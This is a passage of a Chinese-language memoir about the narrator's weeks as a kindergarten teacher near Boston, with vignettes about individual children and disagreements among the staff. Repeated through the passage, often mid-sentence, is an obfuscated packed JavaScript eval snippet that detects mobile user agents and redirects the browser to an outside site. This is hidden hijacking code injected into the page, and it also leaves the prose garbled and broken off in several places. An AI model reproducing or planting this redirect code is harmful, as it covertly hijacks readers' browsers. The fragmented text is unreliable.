这里的幼儿园不似在加州实习的幼儿园那样提供午餐,所有孩子和老师都需要自带午餐,中午每个老师各坐在一张桌子前与孩子们共进午餐并维持秩序,孩子则自发地随机找位置坐,吃完要向老师报告,得到允许才能将餐具和剩下的食物放回午餐包离开饭桌。 老师们每天实行错峰上下班,玛丽安最早来最早走,林奈其次,我最晚上班直至幼儿园关门,孩子们午睡的时候我和林奈轮流午休,玛丽安经常会主动放弃自己的午休时间,这样下午能够早点回家。林奈午休的时候玛丽安很喜欢拉着我聊天,几乎滔滔不绝,一会儿评论“这些孩子跟我们一样,甚至比我们在幼儿园待的时间还长,这对于他们来说就是一份工作呀,真是辛苦”,一会儿又感慨“我现在已经形成职业病了,不论到哪里眼睛都会不由自主地盯着每一个人,甚至去餐馆吃饭也会坐在那里数餐馆里有多少人,时间长了你也会这样的”,我倒是很喜欢听玛丽安聊天,也趁机向她请教各种问题和在幼儿园需要注意的事项。 学校为节约和整合教师资源,每天的最后一个小时会将各班剩下没被家长接走的孩子集中到中班教室共同照看,我因此有机会接触到不同班级的一些孩子和老师,再加上在院子里活动时经常能遇到其他班级,几天下来很快见齐了幼儿园所有的老师,包括副园长在内一共十几位全是清一色白人女性,更奇的是老师们的身材大都是卡通片里那种中间粗两头细的土豆形状,令我不免惊讶沙文是从哪里聚齐了这么多与自己体型相仿的人。 班上每周的课程会围绕一个不同的主题,我去的那一周是玛丽安主讲的“毛毛虫和蝴蝶”主题,玛丽安用彩纸在教室的主题墙上剪贴出毛毛虫和蝴蝶的图案,在早上的集体讨论时间向孩子们讲解毛毛虫变成蝴蝶的过程,开放式书架上全换上了与毛毛虫和蝴蝶相关的图书,大家还举行了一次简单的投票活动,由孩子们提名并投票决定将主题墙上的毛毛虫命名为“查理”。 玛丽安又订购了一些蝴蝶幼虫放在教室的玻璃箱里,孩子们每天近距离观察毛毛虫渐渐变成蝶蛹,不过有来串门的小班小朋友却好奇地问:“你们的蝙蝠怎么不动?是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437798|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死了吗?” 可生命就是如此神奇,看上去僵死的蝶蛹某一天突然变成了美丽的蝴蝶,当所有蝴蝶破蛹而出的那天,全班举行了一场简单的放飞仪式,孩子们在玛丽安的带领下把玻璃箱搬到后院打开盖子,一只只蝴蝶起先有些不习惯地扇动了几下翅膀,然后开始在阳光里翩翩起舞,最后在一片欢呼声中飞向了广袤的大自然。 整个幼儿园风水最好的地方就是后院,那是一个很大的院子,围着一圈厚实的木板围墙,三面被树木环抱,一面朝着马路,除了通常幼儿园必备的供孩子玩耍的攀爬设施和滑梯之外,还有草地和大树,没长草的泥土地面上则铺满防止孩子摔伤的碎木屑,大树下挖了一个沙池,围墙边的木笼里养着两只兔子,旁边还有一座高度可供孩子进出的塑料玩具屋。 此时整个大波士顿地区正被笼罩在一片朦朦胧胧嫩绿色的早春春意中,院子里的大树上先是长满一簇簇淡绿色伞状的小花序,孩子们坚持把这些花序称作“西兰花”,并排队捡来放在老师们手里,大约一个星期后,小碎花如雨般纷纷坠落,几天功夫树上便长满了绿叶,初夏来了。 这时候院子里又出现了一群不速之客——尺蠖,最初偶尔才能找到几只,如一条翠绿色的细线,只有一厘米长,却清晰地做着其特有的一拱一拱的前进动作,眼见着这些细线如蚕宝宝般越长越大,数量也越来越多,甚至有几天像下雨似的从树上掉下来,爬满了供孩子们攀爬的橡胶轮胎和立柱,那几周幼儿园的孩子们每天都在院子里搜寻这些幼虫的足迹,捉来放在塑料小桶里,动辄能收集数十条,可是过完纪念日的长周末,回到学校却再难觅它们的踪影,仿佛几天之内它们都集体消失了一般。 树上也每周都在发生变化,先是落下许多绿色的拐角形豆荚,有其他班的老师将豆荚剥开一半夹在小孩子的鼻梁上扮作犀牛;两周后又开始落下一片片指甲盖大小如钱币一般的圆片,中间包裹着一粒种子——院子里每天都充满了生命的律动。 35. 第二章 艾米短暂的教师生涯 我刚到幼儿园上班时,艾米也刚来大班不久,是一个插班生,又因为家庭原因经常不来学校,班上的孩子不大和她一起玩,她很难融入新的集体,总是趁着在院子里活动的时间去找中班的少数孩子玩。 艾米长得很漂亮,像个精致的瓷娃娃,但是她的目光总是冷冷的,仿佛对这个世界有很大的敌意,对老师的指令也常常爱理不理。玛丽安很不喜欢艾米,见到她就摇头,背地里悄悄告诉我艾米的妈妈有精神问题,和艾米的爸爸离婚了。 我却偏偏是个喜欢啃硬骨头的,觉得艾米其实很聪明有灵气,听到玛丽安的“小道消息”后更是对这个小姑娘充满同情,想到她小小年纪就要承受这么多的苦难和压力实在太不容易了,圣母心不禁泛滥,对她多有偏爱照拂,总想多给她一些温暖,焐热她的心。 艾米脸上终于渐渐有了笑容,也越来越快乐,可她笑起来的时候明明嘴角往上翘,眼底却仍是冷的,甚至透着一丝疯狂劲,看上去七分纯真三分邪恶,几乎可以直接去饰演恐怖电影里那种被邪灵附体的女娃娃,只有当她无意识地垂下眼帘时才显得那么安静美好。 听艾米说她家里最近养了一只蝌蚪,早上的集体时间我就让艾米给大家讲她的蝌蚪的故事,然后大家提问讨论。 过了几天我问艾米:“你家里的蝌蚪怎么样了?” 她认真地想了很久,抬起头瞪大眼睛看着我说:“它还活着。” 今天是镇上的 “卡车日”,莱克星顿公共图书馆后面的停车场上停了一辆救火车、一辆警车和两辆工程车供市民参观,小孩子还可以排队坐上去看一看摸一摸,于是幼儿园的老师也领着孩子们去近距离体验了一把。 回来后玛丽安让艾米当小老师,站在教室前面问坐在地毯上围成一圈的孩子们“刚才在外面看到了什么”,没想到四五岁小孩子的记忆力和想象力还太贫乏,除了重复“看见救火车和卡车”就说不出什么新东西来了。 玛丽安接过话头严肃地反问大家:“我看见路边有一辆橙色的自行车,难道你们都没看见吗?有个爸爸把小宝宝从车里拎出来,你们也没看见吗?路上有个妈妈推着一个小孩子,她的姐姐就站在边上,你们都没看见吗?” 她每说一个,下面围坐的孩子们就争先恐后地说“我看见了,我看见了”,有几个还高高举起手仿佛有话要说,可是玛丽安并不理会他们,也不给机会让他们再说说还看见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437799|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了什么,只顾自己滔滔不绝地讲下去。 我倒觉得孩子需要的是启发而不是诘问,记得有一次在路上我对孩子们说“我看见了一些红色的东西,你们猜猜我看到了什么”,他们立刻睁大眼睛四处寻找,陆续发现了周围的美国国旗、汽车、行人戴的帽子等许多红色的东西。 这时候艾米开口道:“我看见——” 玛丽安停下来:“艾米有话要说。” 艾米用一种略带演讲的语气继续道:“我看见了树和花,看见了房子和人,看见了地和土——” 我向艾米投以鼓励的微笑,却突然听见她话锋一转,两手一摊看着下面的小朋友们反问道:“难道你们都没看见吗?” 陪着孩子们坐在地毯上的林奈和我忍不住“扑哧”一声笑出来——艾米没有忘记自己小老师的身份,居然用她十分有限的词汇量努力地模仿玛丽安,难得一时间竟能想出这么多东西来,可惜却模仿错了重点,着实令人又是心疼又是好笑。 艾米看见我们笑,不知道自己什么地方搞砸了,略显不安地闭上嘴。 玛丽安显然有些欠缺幽默感,板着脸匆匆叫艾米下去,艾米的小老师经历就这样结束了。 36. 第三章 能被一道月光绊倒的凯奇 凯奇是班上一个出生时有些基因缺陷的小男孩,性格天真善良,才五岁多身高却已经十足像个八岁的孩子;动手能力很强,对积木、乐高这些结构性的玩具兴趣很浓,却常常由于注意力过于集中而听不见老师讲的话;说话口齿有些不清楚,平衡能力也很差,却总喜欢奔跑和做各种危险的动作,几乎每天都要磕碰和摔跤,甚至在教室里的地毯上都能摔倒,是传说中那种一道月光都能把他绊个跟头的现实写照。 凯奇每天都是爸爸来接,我曾对他爸爸表示过对他的担心,因为凯奇在院子里跑得太快却不看路,不时撞到各种物体上,他爸爸也总是叮嘱他:“要跑慢一点,在学校一定要听老师的话!” 某天孩子们排队洗手时突然听见洗手间里一声巨响,我和玛丽安连忙进去察看,发现凯奇已经头朝门口趴在地上大哭起来,下巴上流着鲜血。玛丽安连忙用纸巾包着冰袋给他冷敷,林奈则打电话通知家长并填写事故报告,不一会儿他爸爸匆匆赶来神色忧虑地把他接走了,结果是他的下巴上缝了五针。 第二天凯奇顶着下巴上的胶布来上学,一整天只要他去洗手间我都得按照玛丽安的吩咐跟过去盯着,凯奇还有些害羞,频频回头警觉地透过洗手间门上的小方格偷偷观察我是否在看他,我于是将脸转向别处,可是只要他上完厕所开始洗手我便立刻打开门监督。 下午在活动室玩的时候凯奇居然骑了一辆最大的玩具三轮车飞快地转着圈,后座上还驮着两个小女孩,他很快就骑到堆在墙边的一叠垫子上,义无反顾地从车上摔了下来,好在两个女孩都无碍,他自己也摔得不重。 我只好让凯奇待在软垫上安静地玩,他不安分地在垫子上扭来扭去,半个身子留在垫子上,腿却伸出去老远,我实在担心他再受伤,于是勒令他待到垫子中间去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437800|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他倒是听话地乖乖照办。 另一天凯奇和几个男孩在玩具屋附近玩耍,凯奇带头把地上的尘土剧烈地扬起来,其他几个孩子兴奋地说那是烟雾,纷纷效仿,紧接着凯奇又跑到我坐的树桩旁,开始用力剥另一个树桩的树皮,我可以清晰地听见树皮从树桩上分离的“吱吱”声——这个小孩简直是分分钟无意识地做着各种危险和破坏性动作。 我连忙制止:“不,不,停下!” 他垮着一张前一秒还兴奋投入的脸跑开了,一同在院子里的中一班老师曼妮瞧见这一幕,笑着冲我无奈地摇摇头。 每天下午快放学的时候凯奇总是一脸无辜又天真地问我:“我今天过得好吗?我今天有听老师的话吗?”仿佛那些危险的动作统统与他无关。 我总是和颜悦色地回答:“你今天过得很好,你今天有开始学习听老师的话,希望你明天做得更好。” 37. 第四章 娇憨的洛蒂 洛蒂是一个四肢修长、面容娇憨的金发小姑娘,回答成年人的问题时总是很羞怯,一到院子里却又变得十分大胆,常和男孩子们一起比赛跑步。 一开始引起我的格外关注是因为洛蒂的爸爸妈妈担心她晚上睡不着,交代她不要在幼儿园睡午觉,于是每天当其他孩子午睡时,洛蒂便枯坐在睡垫上百无聊赖地抠抠睡垫、掰掰脚趾,困得头一点一点的也一直强撑着,那副模样着实惹人怜爱。 我悄悄让她拿些玩具去玩,却被林奈大声喝止:“回去!你不能玩玩具。” 洛蒂吓得连忙缩回拿玩具的手,我担心在孩子心中失去威信,一面让她继续一面与林奈商量:“这次先让她玩,下次我不会再这么做了。” 后来问玛丽安,得知为了公平起见以及不打扰到其他孩子休息,每天两点钟以后才可以让没睡着的孩子玩学校的玩具,我于是建议洛蒂的父母从家里带些安静的玩具给她午睡的时候玩,结果第二天就看见一个金发小姑娘坐在教室的睡垫上,手里拎着一副白色硅胶材质的迷你骷髅架子抖来抖去,那副画面着实有些诡异。 但是从此洛蒂觉得找到了靠山,有什么请求都来找我,哪怕上厕所这样的事也理直气壮地跑过来问我:“彦岚,我可以去上厕所吗?” 直到有一天她的请求与集体活动发生了冲突,再次被林奈大喝:“问彦岚也没用,我们马上要去院子里!” 我怕被林奈误解,连忙表明立场赞同道:“所有老师的行动都是一致的。” 洛蒂终于学会了我不是她的庇护所,但心里仍然清楚我是那个最和善的老师,尤其在我两次耐心地为她处理在院子里摔倒造成的小擦伤后,她更加信任我了,有时候会突然跑过来拉起自己的衣服跟我说:“我的这件衣服很软。” 我摸一摸表示肯定:“嗯,是很软。” 她立刻蹦蹦跳跳非常开心地跑开了,仿佛成年人一个小小的肯定就令她心满意足。 有一天我穿了一件缀着亮片的衣服,洛蒂跑到我身边结结巴巴却十分肯定地对我说:“彦岚,我喜欢你的衣服,因为上面有很多亮片。” 她的话立刻引来周围几个小朋友的热烈附和: “我也喜欢!” “我也喜欢,我一开始没看见亮片,要靠近了才能看见。” 另一天吃午饭的时候,同桌的小男孩达文问起我有关中国长城的事,我向他解释:“那是中国古代的一个皇帝为了防止坏人入侵而修建的城墙,是用来保护自己的。” 达文评论道:“那是很久很久以前的事了,久到在我出生前就发生了。” 我说:“对,是两千年前的事。” 这时不仅我这桌的孩子,其他两桌的孩子都齐齐转过头来满脸吃惊的表情,异口同声道:“哇,两千年前!” 我不禁觉得既意外又好笑,没想到这些小孩子都是好奇的“吃瓜群众”,我和达文说话的时候他们都在竖着耳朵默默旁听呢。 洛蒂还专程从另一桌跑过来,结结巴巴又很认真地问我:“嗯——彦岚,你刚才说什么事是两千年前发生的?”仿佛搞清楚这一点对她来说是一件顶顶重要的事情。 我于是把刚才对达文说的话又重复了一遍,她有些羞涩地笑着点点头,称心满意地回去了。 下午洛蒂、凯奇和盖尔之间发生了一场小小的三角风波,盖尔来我跟前告状:“我刚才正在和洛蒂说达文的儿童看护,我们还打算去超市,可是洛蒂却不听我说完就去追着凯奇跑。” 他说得很生气,几乎要哭起来,我却听得丈二和尚摸不着头脑——什么儿童看护?什么要去超市? 问他:“你们是不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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达文是一个脑袋很大、四肢纤细的小男孩,总是不声不响很安静,在班上的存在感并不算太强,但每次老师读故事书的时候达文必定在场,而且只要教室里有人开始读故事书,无论达文在做什么都会立刻停下来倾听。 我对他说:“你很喜欢听故事啊!” 他认真地点点头:“嗯,这是我最喜欢做的事情。” 佳佳是个中国小女孩,总是一副心里很有数的模样,讲起话来头头是道,显得比实际年龄要成熟许多。美国幼儿园采取“全人”教育,旨在培养幼儿情感、认知、身体、创造力各方面全面发展,在幼儿时期并不着重教孩子识字和算数,当班上其他孩子从一到十还认不全、只会写自己名字的时候,佳佳却已经能够通读幼儿园里几乎所有的图书了,显然佳佳的爸爸妈妈在家里下了很大功夫教她认字。 下午会合到中班教室后,达文常会拿起书架上的故事书一本接一本地让我读给他听,有时候我读累了就让佳佳接着读,两个孩子一个爱读一个爱听,简直是一对绝佳的搭档。 班上还有一个中国小男孩阿登,大部分时候由他的外婆接送,外婆不会讲英文,每次来接他的时候只能冲着老师笑,自从我来了幼儿园阿登的外婆格外激动,连连向我感叹:“这下总算可以有人说说话,问问阿登在学校的情况了!” 我十分理解像哑巴一样不能张口与人交流的郁闷,总是耐心回答阿登外婆的各种询问。 阿登和佳佳的家长都希望孩子在学校能多和我讲中文,可我担心这样对其他孩子不公平,于是悄悄与佳佳和阿登约定,只有我们几个单独在一起的时候才说中文。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437802|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >午饭时班上总是有一部分孩子很快吃完,另一部分孩子吃得很慢,达文和佳佳每次都是最后吃完的几个孩子之二,看着其他孩子已经准备午睡了,这几个孩子还像树懒似的一小口一小口慢慢咀嚼着嘴里的食物,我就不免心急。 某天我给先吃完的孩子播放了一则有声故事,等吃饭慢的孩子吃完又给他们播放了一遍,出乎意料的是,两组孩子听故事的反应截然不同,吃饭快组的孩子听完故事就完了,没有太大的情绪起伏,吃饭慢组的孩子听到故事里的不平之处却个个血脉贲张,情绪激动,当听到皆大欢喜的结局时,几个孩子更是在佳佳的带动下热烈地鼓起了掌——我看到这一幕也有些小小的激动,忍不住想:看来吃饭慢的孩子似乎拥有一颗更加细腻敏感的心,原来快有快的好,慢有慢的好,没有什么是一定的。 39. 第六章 喜欢开玩笑的莱昂 莱昂是一个很逗趣的法国小男孩,圆圆的小鼻子上长满了雀斑,时常跑到我面前说一些莫名其妙的冷笑话,然后在我一脸懵的时候冲我使劲地眨眨一只眼,笑着说“我是逗你的”,一转脸又如法炮制跑到别人那里“放电”去了,也不知道他这都是跟谁学的。 前天莱昂过生日,和跟他要好的几个小伙伴一起唱生日歌唱得兴致很高,第二天下午他们余兴未消,在院子里用土堆了一个如假包换的小“坟头”当作生日蛋糕,又在“坟头”上不多不少并排插上三根小树枝作为生日蜡烛,然后对着“坟头”开心地齐唱生日歌。我目睹这一切只觉得满脑门黑线,苦于文化差异却满院子找不到一个可以共情的人,再看看几个孩子开心投入的样子,终于忍不住独自哈哈大笑起来。 今天莱昂又不停唱着改了词的生日歌——“祝你生日快乐,你家住在动物园,你看起来像企鹅,你闻起来像八哥”,还跑到我面前来唱。 我问他:“这是你自己编的吗?” 他回答:“不是,是从别人那里听来的。” 结果不久后教室里好几个孩子都开始唱这首改了词的生日歌了。 不过玛丽安和林奈似乎并不欣赏莱昂的这种幽默感,早上的集体讨论时间玛丽安点名让每个孩子轮流到前面唱一首儿歌,第一个是贝儿,她唱了一首有关茶壶的儿歌,一手掐腰一手伸出模仿茶壶的形状,伸出的那只手刚好指着玛丽安,玛丽安将她的手推开,她笑嘻嘻地又把手指回来,惹得底下的孩子一片大笑,接下来几个孩子唱的都是《茶壶歌》,玛丽安说:“让我们来点别的吧。” 下一个是芬妮,她先是把玛丽安面前的一本儿歌从头到尾仔仔细细翻了一遍,然后转过身来面向大家,没想到唱的还是《茶壶歌》,我一面笑一面对芬妮的迷惑行为感到不解——既然她唱的还是这首歌,为什么刚才要那么认真地在歌本里翻找呢? 玛丽安重申:“让我们唱点别的。” 轮到了莱昂,他站到前面,不仅唱的是《茶壶歌》,还笑嘻嘻地故意把手又指向玛丽安,玛丽安只好很无奈地把他叫下去,并且点评道:“一点也不好!” 莱昂立刻从兴高采烈变成了垂头丧气。 有一次莱昂和另一个小男孩把木屑丢在一个小女孩身上被林奈看见,林奈说自己很生气,罚他俩不许在一起玩,莱昂于是垂头丧气地坐在木沿上对我解释:“我把木屑丢在一个小女孩身上让林奈生气了——唉,我应该记住的。” 我听了不禁觉得可笑又可爱,因为我并没有要求他向我做任何解释呀。 过了一会儿我阻止了另一个孩子的不当行为,莱昂对我说:“你应该生气的。” 我说:“我不想生气。” 进到教室里,莱昂又对另一个孩子说:“不要让林奈生气。” 两星期后莱昂着了点凉,午睡时频繁来往于睡垫和教室里的一盒纸巾之间,不时拿纸巾奋力擤着鼻子,玛丽安见他的鼻涕沾到手上,叫他扔掉脏纸巾再拿一张,他走到垃圾筒边扔掉纸巾,并没有再去拿一张,而是在回去的路上甩了甩手,然后扎开五指十分自然地伸出舌头舔了舔。 我眼睁睁瞧着这一幕,顿时感到整个人都不好了,忍不住出声叫莱昂把纸巾盒拿到他的睡垫边上,却被他严辞拒绝:“不,我怕林奈会说我。” 看来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437803|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惹林奈生气这件事给他留下了十分深刻的印象,我于是安慰他:“没关系,我会向林奈解释的。” 不过好在莱昂被批评了并不会像其他孩子那样伤心难过,只是无奈地耷拉着脑袋重重叹一口气,以后尽量避免重蹈覆辙,对待事情也总是有很多自己的评论。 中午吃饭时坐在空调前的小姑娘芬妮把两只手蜷缩成爪状在面前快速抖动着,我问怎么了,她说:“我冷。” 坐在旁边的莱昂说:“我也觉得冷。” 林奈体胖怕热,总是把教室里的空调温度调得很低,我起身将温度调高一些,对两个孩子说:“希望你们能感到好些。” 莱昂又开始评论:“我刚才觉得我的肚子冷,还以为是喝凉水喝的呢。” 幼儿园不同班级经常共用院子,也鼓励不同年龄段的孩子在一起活动,不同年龄的孩子在一起形成了一个天然的社群,潜移默化中彼此学习、互相关照,这对孩子的成长非常有好处。 今天小班的老师霍莉带着拉拉来到旁边看大班的孩子玩,拉拉才一岁半,步伐还不稳,头上总是扎着两个小冲天辫,脸上的神情像一只无辜的小动物,这几天刚开始呀呀学语。 我向拉拉打招呼,她带着怯怯的笑容朝我蹒跚走过来,嘴里咿咿呀呀说着什么,莱昂和班上的几个男孩围过来,伸手去摸拉拉的辫子,拉拉有些抗拒地向后退了退。 我对几个男孩说:“不要欺负拉拉。” 莱昂连忙道:“不不不,我们喜欢她!” “要对拉拉温和友爱。”我又说。 几个男孩于是把手放在膝盖上,弯着身子开始温和地对拉拉说话。 40. 第七章 阿登告状 阿登今天也发生了一些状况,总是来向我告状,说莱昂和达文不让他进玩具屋,对他不友善。我让他自己先去和小朋友谈谈,可是很快他又回来了,远处的莱昂、达文和凯奇则像几只小动物似的一动不动蹲在玩具屋里警觉地观望着我的反应。 我和阿登一起走过去,问其他孩子是怎么回事,莱昂和达文你一言我一语地向我解释:“我们不是对阿登不好,只是不想和他一起玩。” 莱昂还说:“我妈妈说如果我不想和阿登玩就可以不和阿登玩,我想等长到五岁的时候再和阿登玩。” 我问:“那你们还是朋友吗?” “对,我们是朋友,我只是不想和他玩。” 我对阿登说:“他们和你还是朋友,只是现在不想和一起你玩,你可以去找别的小朋友玩。” 阿登坚持道:“可我就想和他们玩!” 我一时有些一筹莫展,因为我无法强迫另外两个孩子做他们不想做的事,只好对阿登说:“来,你过来,我跟你说话。” 阿登跟着我走到一边,我说:“有时小朋友并不总想和某些小朋友在一起玩,这时候你可以去找其他小朋友玩。” “可我就想和他们玩,他们对我不好。” “并不是那样的——这样,你来和我们一起捡树枝吧。” 当时我正带着艾米在院子里捡前一天晚上被风刮下来的树枝,两个中班的小姑娘也加入了进来,阿登便高高兴兴地和我们捡起了树枝。 过了一会儿我看见阿登和达文又在一起玩滑梯了,中午他和莱昂在一桌吃午饭,莱昂对他有说有笑,还严肃地摇着手指头正告他“不要做傻气的举动”,所以我以为孩子之间的这些只是小插曲。 但是下午阿登又来向我告状:“莱昂不和我玩。” 我一时真不知道该如何处理,阿登见我不说话,转头又去向附近的林奈告状,莱昂就站在旁边,他连忙试图阻止阿登:“阿登,阿登,不要告诉林奈,告诉彦岚!” 莱昂显然很怕林奈训他,认为我是比较好说话的老师,可是阿登不为所动,已经开始向林奈报告了,林奈立刻大声对莱昂说:“我们应该对朋友友善!” 莱昂无奈地垂下了脑袋,然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437804|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后抱着阿登和凯奇交头接耳了一番,似乎在说“好吧,好吧”,三个人又玩在了一起。 对于孩子之间的这种矛盾应该如何处理,是像莱昂的妈妈那样允许孩子不想和谁玩就不和谁玩,还是像林奈那样简单粗暴地要求孩子必须在一起玩,当时我并没有确切的答案。 在成年人的世界里何尝不会遇到同样的问题——我们与一些人投缘,与另一些人不合拍,有时想和某个人在一起,有时又不想一直黏在一起,有时甚至只想自己一个人待着,这些时候需要总是硬凑在一起吗?落单的人需要强求他人的接受,待在勉强的环境中吗? 在一个理想的国度里,所有人都应该是相亲相爱的,但现实却并非如此,落单的人当然会感到受伤,出于友爱、礼貌、人道主义、社交礼仪似乎也不应该把少数人丢下,一个更高的权威或许可以进行暂时的干预,要求大家维持表面上的一团和气,在更多的相处中每个人也可能会有不一样的体验和收获——但时间长了呢?这种由外力捆绑的“稳定”能维持多久呢?所以自然界才会物以类聚、人以群分、万事万物各归其类吧? 41. 第八章 麻烦制造者赖恩 在院子里时盖尔跑来向我告状:“赖恩抢了我的玩具车!” 赖恩是小班的孩子,下午班级合并后我曾给他读过故事书,觉得他年纪虽小口齿却很清楚。 我走过去,发现赖恩面前摆着许多玩具车,便问他:“你是不是拿了别人的玩具车?” 我们班的丹尼尔这时候在一旁说:“赖恩也抢了我的车!” 赖恩不是我们班的孩子,我不便管教,只得和他讲道理,他却不理我。 盖尔见我的话没有效力,有些失望地跑到沙池里去玩了,我走过去对盖尔说:“我会把赖恩的事告诉他的老师。” 盖尔没有说话,我去找林奈问赖恩班的老师是谁,林奈告诉我是汉娜,刚刚离开。 这时汉娜回来了,我走过去对她说:“盖尔告诉我赖恩抢他的玩具车。” 谁知汉娜一副事不关己的样子:“我没看见,别告诉我,你有去跟他说吗?” “我试图和他讲道理,但是他不听我的。” 汉娜还是重复刚才的话:“我没看见。” 我不免大跌眼镜,她没看见就可以不管吗?搞得倒像我在诬陷她们班孩子似的。 讪讪走开,正巧看见赖恩拿着一辆车去推丹尼尔,丹尼尔求助地往我这边看了一眼,我向丹尼尔招招手,他走过来,我对他说:“你如果觉得赖恩有问题就去告诉他的老师汉娜。” 我想我说的话没用,被欺负的孩子自己去告诉汉娜总可以吧。 丹尼尔依言跑去告诉了汉娜,谁知汉娜的回答居然依旧是:“我没看见,如果你不喜欢可以自己告诉他。” 丹尼尔只得老老实实地走开了,我眼睁睁看着,心里很为这些天真善良又弱小的孩子感到遗憾。 可事实并不会因为汉娜的闭目塞听就不存在,第二天赖恩变本加厉,抓着一把土偷偷跑到我们班几个孩子身后,然后扔到阿登身上就跑。 我喝止了赖恩,看见他回到玩具屋里又从地上抓起一把土,我大声对他说:“不可以用土丢人,快放下!” 他松开那把土,过了一会儿跑到几个孩子中间,突然冷不丁从地上捡起一块石头砸在一个孩子的背上。 这时不远处的中班老师曼妮已经先于我大喝赖恩,又问我:“那是不是一块石头?” 我点点头,曼妮转头对坐在她身后的汉娜说:“赖恩用石头打人。” 汉娜“哦”了一声,没有更多表示,曼妮只得让赖恩离开到一边去玩。 我们班的几个孩子这时纷纷跑到我身边向我数说赖恩的种种不是,莱昂说:“上次在中班的教室里赖恩就把东西扔在我的——我的眼睛里——噢,不对,是我的头——嗯,我的头发上。” 丹尼尔噘着嘴摇着头十分认真地说:“赖恩一点也不好,他那样非常不好!” 我说:“对,赖恩那样很不好,他已经被禁止到这边来玩了。” 不一会儿赖恩又欲往这边跑,我大声制止他道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437805|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“你因为刚才往别人身上扔石头和土,所以现在不可以到这边来玩。” 他对我说:“我的鞋子里有东西。” 我说:“那你到我这里来,我帮你把东西弄出来。” 他走到我身边,我从他的鞋里倒出了许多沙,又趁机教育他:“向别人扔东西是不对的。” 